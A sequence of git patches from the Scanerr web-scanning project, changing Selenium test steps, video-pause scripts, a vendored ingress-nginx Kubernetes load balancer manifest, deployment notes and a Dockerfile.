-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )                
+                                    
                     # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
-                    # self.driver.execute_script(f'document.querySelector("{selector}").click()')
                     element.click()
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -320,20 +316,12 @@ def run_s(self):
                 
                 try:
                     print(f'changing element to value -> {step["action"]["value"]}') 
-                    # using puppeteer, find and click on the 'element'
+                    # using selenium, find and click on the 'element'
                     selector = self.format_element_s(step["action"]["element"])
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )                
-                    # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                                    
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     # changing value of element
                     value = step["action"]["value"]
-                    # self.driver.execute_script(f'document.querySelector("{selector}").setAttribute("value", "{value}")')
                     element.send_keys(value)
                     time.sleep(int(self.configs['min_wait_time']))
                     image = self.save_screenshot_s()
@@ -371,14 +359,7 @@ def run_s(self):
                             break
                         n -= 1
                     selector = self.format_element_s(elm)
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )                
-                    # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
+                                    
                     # using selenium, press the selected key
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     element.send_keys(self.s_keys.get(step["action"]["key"], step["action"]["key"]))
@@ -413,14 +394,8 @@ def run_s(self):
                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
                     # using selenium, find elememt and assert if element.text == assertion.text
                     selector = self.format_element_s(step["action"]["element"])
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )
+                    
                     # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)
                     elementText = self.driver.execute_script(f'return document.querySelector("{selector}").textContent')
                     elementText = elementText.strip()
@@ -455,12 +430,7 @@ def run_s(self):
                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
                     # using puppeteer, find elememt and assert it exists
                     selector = self.format_element_s(step["action"]["element"])
-                    driver_wait(
-                        driver=self.driver, 
-                        interval=int(self.configs.get('interval', 5)),  
-                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
-                    )
+                    
                     # scrolling to element using plain JavaScript
                     self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     element = self.driver.find_element(By.CSS_SELECTOR, selector)

From 58537dbc2aa3552e36d3df0c3caf88c396ed34a3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 22 Mar 2024 09:58:49 -0600
Subject: [PATCH 0420/1099] updated video pausing scripts

---
 app/api/utils/image.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 6b693f90..c832006d 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -63,7 +63,10 @@ def __init__(self, scan=None, configs=None):
 
         # scripts
         self.pause_video_script = (
-            "const video = document.querySelectorAll('video').forEach(vid => vid.pause());"
+            """
+            document.querySelectorAll('video').forEach(vid => vid.pause());
+            document.querySelectorAll('video').forEach(vid => vid.currentTime=0);
+            """ 
         )
 
         self.set_jquery = (

From 110b83d9d7ef9f91e156057fc40d6294205ae2db Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 22 Mar 2024 11:36:11 -0600
Subject: [PATCH 0421/1099] fix load balancer issues

---
 k8s/prod/app-deployment.yaml   |   2 +-
 k8s/prod/app-loadbalancer.yaml | 688 +++++++++++++++++++++++++++++++++
 notes/Kubernetes.md            |   5 +-
 3 files changed, 692 insertions(+), 3 deletions(-)
 create mode 100644 k8s/prod/app-loadbalancer.yaml

diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 269a8f3a..aed55a57 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,7 +18,7 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: <IMAGE> # landonr/scanerr-server:04401a7 # 
+          image: <IMAGE> # scanerr/server:80a9a46 # 
           imagePullPolicy: Always
           ports:
             - containerPort: 8000
diff --git a/k8s/prod/app-loadbalancer.yaml b/k8s/prod/app-loadbalancer.yaml
new file mode 100644
index 00000000..f2c139cd
--- /dev/null
+++ b/k8s/prod/app-loadbalancer.yaml
@@ -0,0 +1,688 @@
+
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: ingress-nginx
+  labels:
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+
+---
+# Source: ingress-nginx/templates/controller-serviceaccount.yaml
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx
+  namespace: ingress-nginx
+automountServiceAccountToken: true
+---
+# Source: ingress-nginx/templates/controller-configmap.yaml
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx-controller
+  namespace: ingress-nginx
+data:
+  allow-snippet-annotations: 'true'
+  use-proxy-protocol: 'true'
+---
+# Source: ingress-nginx/templates/clusterrole.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+  name: ingress-nginx
+rules:
+  - apiGroups:
+      - ''
+    resources:
+      - configmaps
+      - endpoints
+      - nodes
+      - pods
+      - secrets
+      - namespaces
+    verbs:
+      - list
+      - watch
+  - apiGroups:
+      - ''
+    resources:
+      - nodes
+    verbs:
+      - get
+  - apiGroups:
+      - ''
+    resources:
+      - services
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - ''
+    resources:
+      - events
+    verbs:
+      - create
+      - patch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses/status
+    verbs:
+      - update
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingressclasses
+    verbs:
+      - get
+      - list
+      - watch
+---
+# Source: ingress-nginx/templates/clusterrolebinding.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+  name: ingress-nginx
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: ingress-nginx
+subjects:
+  - kind: ServiceAccount
+    name: ingress-nginx
+    namespace: ingress-nginx
+---
+# Source: ingress-nginx/templates/controller-role.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx
+  namespace: ingress-nginx
+rules:
+  - apiGroups:
+      - ''
+    resources:
+      - namespaces
+    verbs:
+      - get
+  - apiGroups:
+      - ''
+    resources:
+      - configmaps
+      - pods
+      - secrets
+      - endpoints
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - ''
+    resources:
+      - services
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses/status
+    verbs:
+      - update
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingressclasses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - ''
+    resources:
+      - configmaps
+    resourceNames:
+      - ingress-controller-leader
+    verbs:
+      - get
+      - update
+  - apiGroups:
+      - ''
+    resources:
+      - configmaps
+    verbs:
+      - create
+  - apiGroups:
+      - ''
+    resources:
+      - events
+    verbs:
+      - create
+      - patch
+---
+# Source: ingress-nginx/templates/controller-rolebinding.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx
+  namespace: ingress-nginx
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: ingress-nginx
+subjects:
+  - kind: ServiceAccount
+    name: ingress-nginx
+    namespace: ingress-nginx
+---
+# Source: ingress-nginx/templates/controller-service-webhook.yaml
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx-controller-admission
+  namespace: ingress-nginx
+spec:
+  type: ClusterIP
+  ports:
+    - name: https-webhook
+      port: 443
+      targetPort: webhook
+      appProtocol: https
+  selector:
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/component: controller
+---
+# Source: ingress-nginx/templates/controller-service.yaml
+apiVersion: v1
+kind: Service
+metadata:
+  annotations:
+    service.beta.kubernetes.io/do-loadbalancer-enable-proxy-protocol: 'true'
+    service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx-controller
+  namespace: ingress-nginx
+spec:
+  type: LoadBalancer
+  externalTrafficPolicy: Cluster
+  ipFamilyPolicy: SingleStack
+  ipFamilies:
+    - IPv4
+  ports:
+    - name: http
+      port: 80
+      protocol: TCP
+      targetPort: http
+      appProtocol: http
+    - name: https
+      port: 443
+      protocol: TCP
+      targetPort: https
+      appProtocol: https
+  selector:
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/component: controller
+---
+# Source: ingress-nginx/templates/controller-deployment.yaml
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: ingress-nginx-controller
+  namespace: ingress-nginx
+spec:
+  selector:
+    matchLabels:
+      app.kubernetes.io/name: ingress-nginx
+      app.kubernetes.io/instance: ingress-nginx
+      app.kubernetes.io/component: controller
+  revisionHistoryLimit: 10
+  minReadySeconds: 0
+  template:
+    metadata:
+      labels:
+        app.kubernetes.io/name: ingress-nginx
+        app.kubernetes.io/instance: ingress-nginx
+        app.kubernetes.io/component: controller
+    spec:
+      dnsPolicy: ClusterFirst
+      containers:
+        - name: controller
+          image: k8s.gcr.io/ingress-nginx/controller:v1.1.1@sha256:0bc88eb15f9e7f84e8e56c14fa5735aaa488b840983f87bd79b1054190e660de
+          imagePullPolicy: IfNotPresent
+          lifecycle:
+            preStop:
+              exec:
+                command:
+                  - /wait-shutdown
+          args:
+            - /nginx-ingress-controller
+            - --publish-service=$(POD_NAMESPACE)/ingress-nginx-controller
+            - --election-id=ingress-controller-leader
+            - --controller-class=k8s.io/ingress-nginx
+            - --configmap=$(POD_NAMESPACE)/ingress-nginx-controller
+            - --validating-webhook=:8443
+            - --validating-webhook-certificate=/usr/local/certificates/cert
+            - --validating-webhook-key=/usr/local/certificates/key
+          securityContext:
+            capabilities:
+              drop:
+                - ALL
+              add:
+                - NET_BIND_SERVICE
+            runAsUser: 101
+            allowPrivilegeEscalation: true
+          env:
+            - name: POD_NAME
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.name
+            - name: POD_NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+            - name: LD_PRELOAD
+              value: /usr/local/lib/libmimalloc.so
+          livenessProbe:
+            failureThreshold: 5
+            httpGet:
+              path: /healthz
+              port: 10254
+              scheme: HTTP
+            initialDelaySeconds: 10
+            periodSeconds: 10
+            successThreshold: 1
+            timeoutSeconds: 1
+          readinessProbe:
+            failureThreshold: 3
+            httpGet:
+              path: /healthz
+              port: 10254
+              scheme: HTTP
+            initialDelaySeconds: 10
+            periodSeconds: 10
+            successThreshold: 1
+            timeoutSeconds: 1
+          ports:
+            - name: http
+              containerPort: 80
+              protocol: TCP
+            - name: https
+              containerPort: 443
+              protocol: TCP
+            - name: webhook
+              containerPort: 8443
+              protocol: TCP
+          volumeMounts:
+            - name: webhook-cert
+              mountPath: /usr/local/certificates/
+              readOnly: true
+          resources:
+            requests:
+              cpu: 100m
+              memory: 90Mi
+      nodeSelector:
+        kubernetes.io/os: linux
+      serviceAccountName: ingress-nginx
+      terminationGracePeriodSeconds: 300
+      volumes:
+        - name: webhook-cert
+          secret:
+            secretName: ingress-nginx-admission
+---
+# Source: ingress-nginx/templates/controller-ingressclass.yaml
+# We don't support namespaced ingressClass yet
+# So a ClusterRole and a ClusterRoleBinding is required
+apiVersion: networking.k8s.io/v1
+kind: IngressClass
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: controller
+  name: nginx
+  namespace: ingress-nginx
+spec:
+  controller: k8s.io/ingress-nginx
+---
+# Source: ingress-nginx/templates/admission-webhooks/validating-webhook.yaml
+# before changing this value, check the required kubernetes version
+# https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#prerequisites
+apiVersion: admissionregistration.k8s.io/v1
+kind: ValidatingWebhookConfiguration
+metadata:
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+  name: ingress-nginx-admission
+webhooks:
+  - name: validate.nginx.ingress.kubernetes.io
+    matchPolicy: Equivalent
+    rules:
+      - apiGroups:
+          - networking.k8s.io
+        apiVersions:
+          - v1
+        operations:
+          - CREATE
+          - UPDATE
+        resources:
+          - ingresses
+    failurePolicy: Fail
+    sideEffects: None
+    admissionReviewVersions:
+      - v1
+    clientConfig:
+      service:
+        namespace: ingress-nginx
+        name: ingress-nginx-controller-admission
+        path: /networking/v1/ingresses
+    timeoutSeconds: 29
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/serviceaccount.yaml
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: ingress-nginx-admission
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/clusterrole.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: ingress-nginx-admission
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+rules:
+  - apiGroups:
+      - admissionregistration.k8s.io
+    resources:
+      - validatingwebhookconfigurations
+    verbs:
+      - get
+      - update
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/clusterrolebinding.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: ingress-nginx-admission
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: ingress-nginx-admission
+subjects:
+  - kind: ServiceAccount
+    name: ingress-nginx-admission
+    namespace: ingress-nginx
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/role.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: ingress-nginx-admission
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+rules:
+  - apiGroups:
+      - ''
+    resources:
+      - secrets
+    verbs:
+      - get
+      - create
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/rolebinding.yaml
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: ingress-nginx-admission
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade,post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: ingress-nginx-admission
+subjects:
+  - kind: ServiceAccount
+    name: ingress-nginx-admission
+    namespace: ingress-nginx
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/job-createSecret.yaml
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: ingress-nginx-admission-create
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: pre-install,pre-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+spec:
+  template:
+    metadata:
+      name: ingress-nginx-admission-create
+      labels:
+        helm.sh/chart: ingress-nginx-4.0.15
+        app.kubernetes.io/name: ingress-nginx
+        app.kubernetes.io/instance: ingress-nginx
+        app.kubernetes.io/version: 1.1.1
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/component: admission-webhook
+    spec:
+      containers:
+        - name: create
+          image: k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1@sha256:64d8c73dca984af206adf9d6d7e46aa550362b1d7a01f3a0a91b20cc67868660
+          imagePullPolicy: IfNotPresent
+          args:
+            - create
+            - --host=ingress-nginx-controller-admission,ingress-nginx-controller-admission.$(POD_NAMESPACE).svc
+            - --namespace=$(POD_NAMESPACE)
+            - --secret-name=ingress-nginx-admission
+          env:
+            - name: POD_NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          securityContext:
+            allowPrivilegeEscalation: false
+      restartPolicy: OnFailure
+      serviceAccountName: ingress-nginx-admission
+      nodeSelector:
+        kubernetes.io/os: linux
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 2000
+---
+# Source: ingress-nginx/templates/admission-webhooks/job-patch/job-patchWebhook.yaml
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: ingress-nginx-admission-patch
+  namespace: ingress-nginx
+  annotations:
+    helm.sh/hook: post-install,post-upgrade
+    helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded
+  labels:
+    helm.sh/chart: ingress-nginx-4.0.15
+    app.kubernetes.io/name: ingress-nginx
+    app.kubernetes.io/instance: ingress-nginx
+    app.kubernetes.io/version: 1.1.1
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/component: admission-webhook
+spec:
+  template:
+    metadata:
+      name: ingress-nginx-admission-patch
+      labels:
+        helm.sh/chart: ingress-nginx-4.0.15
+        app.kubernetes.io/name: ingress-nginx
+        app.kubernetes.io/instance: ingress-nginx
+        app.kubernetes.io/version: 1.1.1
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/component: admission-webhook
+    spec:
+      containers:
+        - name: patch
+          image: k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1@sha256:64d8c73dca984af206adf9d6d7e46aa550362b1d7a01f3a0a91b20cc67868660
+          imagePullPolicy: IfNotPresent
+          args:
+            - patch
+            - --webhook-name=ingress-nginx-admission
+            - --namespace=$(POD_NAMESPACE)
+            - --patch-mutating=false
+            - --secret-name=ingress-nginx-admission
+            - --patch-failure-policy=Fail
+          env:
+            - name: POD_NAMESPACE
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.namespace
+          securityContext:
+            allowPrivilegeEscalation: false
+      restartPolicy: OnFailure
+      serviceAccountName: ingress-nginx-admission
+      nodeSelector:
+        kubernetes.io/os: linux
+      securityContext:
+        runAsNonRoot: true
+        runAsUser: 2000
\ No newline at end of file
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index af3516c1..01a484fd 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -96,11 +96,12 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 2. Install nginx ingress controler on cluster
-- `kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-loadbalancer.yaml`
 - Then add and `A` record for domain that points to new loadbalancer
+  - ref -> https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml
 
 
-### 3. Update ingress-nginx-controler "Service file" with domain
+### 3. Update ingress-nginx-controler "Service file" with domain - if not already updated.
 - add the below annotation 
 - `service.beta.kubernetes.io/do-loadbalancer-hostname: "api.scanerr.io"`
 

From e136a1d205b0bf77de5f07d68ebad83811bc9126 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Sat, 23 Mar 2024 08:04:39 -0600
Subject: [PATCH 0422/1099] cleaning things up

---
 app/scanerr/settings.py | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index c1fd4878..6ced2588 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -190,8 +190,6 @@
     'CacheControl': 'max-age=86400',
 }
 
-
-
 # Redis and Celery Config
 CELERY_BROKER_URL = "redis://redis:6379"
 
@@ -199,7 +197,6 @@
 # CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
-
 # Default primary key field type
 # https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field
 DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'

From 0e2b4ec62f3226450cc7f14d80994d590c47d8b8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 26 Mar 2024 16:50:31 -0700
Subject: [PATCH 0423/1099] increased npm allocation

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 32cf3c07..c53676de 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -3,8 +3,8 @@ FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
 # increasing allocated memory to node
-ENV NODE_OPTIONS --max_old_space_size=2000
-ENV NODE_OPTIONS "--max-old-space-size=2000"
+ENV NODE_OPTIONS --max_old_space_size=20000
+ENV NODE_OPTIONS "--max-old-space-size=20000"
 ENV GENERATE_SOURCEMAP false
 
 # telling Puppeteer to skip installing Chrome

From 77535762ee682d53e1a87206ccea6b8d316bc738 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 08:43:09 -0700
Subject: [PATCH 0424/1099] fixing driver_interact()

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 256963f4..f400749a 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -120,7 +120,7 @@ def get_request_list(driver):
 
     def interact_with_page(driver):
         # simulate mouse movement and click on <html> tag
-        html_tag = driver.find_elements(By.TAG_NAME, 'html')[0]
+        html_tag = driver.find_elements(By.TAG_NAME, 'div')[0]
         action = ActionChains(driver)
         action.move_to_element(html_tag).perform()
         return

From 5d24d8911e5576a17d45fe868af50c4afdedb4fb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 09:05:25 -0700
Subject: [PATCH 0425/1099] updating driver_interact()

---
 app/api/utils/driver_p.py | 2 +-
 app/api/utils/driver_s.py | 7 ++++---
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 1ac43027..1cd44037 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -46,7 +46,7 @@ async def driver_init(
 async def interact_with_page(page):
     # simulate mouse movement
     await page.mouse.move(0, 0)
-    await page.mouse.move(0, 100)
+    await page.mouse.move(0, 50)
 
     return page
 
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index f400749a..7cf6a365 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -119,10 +119,11 @@ def get_request_list(driver):
 
 
     def interact_with_page(driver):
-        # simulate mouse movement and click on <html> tag
-        html_tag = driver.find_elements(By.TAG_NAME, 'div')[0]
+        # simulate mouse movement
         action = ActionChains(driver)
-        action.move_to_element(html_tag).perform()
+        action.pointer_action.move_to_location(0, 0).perform()
+        time.sleep(1)
+        action.pointer_action.move_to_location(0, 50).perform()
         return
 
 

From 18fd741c1269aca1e78c00f60143cd3f00d110d3 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 09:07:08 -0700
Subject: [PATCH 0426/1099] moved driver_interact()

---
 app/api/utils/driver_s.py | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 7cf6a365..4c88ec27 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -131,8 +131,7 @@ def interact_with_page(driver):
     page_state = 'loading'
     wait_time = 0
 
-    # actions before comparing network logs
-    interact_with_page(driver)
+    # min_wait_time before checking page status
     time.sleep(min_wait_time)
 
     while int(wait_time) < int(max_wait_time) and page_state != 'complete':
